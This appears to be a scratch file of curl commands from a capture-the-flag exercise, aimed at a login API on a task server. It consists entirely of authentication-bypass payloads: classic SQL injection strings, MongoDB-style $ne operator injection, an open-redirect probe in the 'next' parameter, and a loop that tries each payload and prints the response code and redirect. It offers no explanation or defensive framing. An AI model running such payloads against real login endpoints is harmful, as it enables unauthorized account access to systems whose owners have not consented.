---

# классика
curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=admin'-- -&password=x&next=/admin" -i

curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=admin' OR '1'='1&password=x&next=/admin" -i

curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=' OR 1=1-- -&password=x&next=/admin" -i

curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=admin' OR 1=1 LIMIT 1-- -&password=x&next=/admin" -i


curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=x&password=x&next=/admin" -i



curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=x&password=x" -i



curl -X POST http://task.duckerz.ru:21046/api/login \
  -d "login=x&password=x&next=//example.com" -i




-d "login=admin&password=' OR '1'='1&next=/admin"





-d "login[\$ne]=1&password[\$ne]=1&next=/admin"







T="http://task.duckerz.ru:21046/api/login"
for p in \
  "login=admin'-- -&password=x" \
  "login=admin' OR '1'='1&password=x" \
  "login=' OR 1=1-- -&password=x" \
  "login=admin&password=' OR '1'='1" \
  "login[\$ne]=1&password[\$ne]=1" \
  ; do
    echo "=== $p ==="
    curl -s -o /dev/null -w "%{http_code} -> %{redirect_url}\n" \
      -X POST "$T" -d "$p&next=/admin"
done